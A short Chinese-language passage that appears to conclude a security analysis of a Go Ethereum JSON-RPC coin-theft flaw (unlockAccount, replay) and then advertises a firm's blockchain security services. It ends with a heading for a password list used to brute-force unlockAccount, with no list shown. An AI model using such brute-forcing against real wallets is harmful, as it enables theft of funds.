就?Go Ethereum JSON-RPC?盜幣漏洞而言,涉及到多個方面的多個問題:以太坊底層簽名的內容、geth客戶端?unlockAccount?實現的問題、分布式網絡導致的重放問題,涉及的范圍之廣也是單個傳統安全領域較難遇到的。這也為安全防御提出了更高的要求。只有從底層了解相關原理、對可能出現的攻擊提前預防、經驗加技術的沉淀才能在區塊鏈的安全防御方面做到游刃有余。
虛擬貨幣價值的攀升,賦予了由算法和數字堆砌的區塊鏈巨大的金融價值,也會讓?盜幣者?竭盡所能從更多的方面實現目標。金錢難寐,大盜獨行,也許會是這個漏洞最形象的描述。
黑客通過DDoS攻擊、CC攻擊、系統漏洞、代碼漏洞、業務流程漏洞、API-Key漏洞等進行攻擊和入侵,給區塊鏈項目的管理運營團隊及用戶造成巨大的經濟損失。知道創宇十余年安全經驗,憑借多重防護+云端大數據技術,為區塊鏈應用提供專屬安全解決方案。
1. 爆破 unlockAccount 接口使用的密碼列表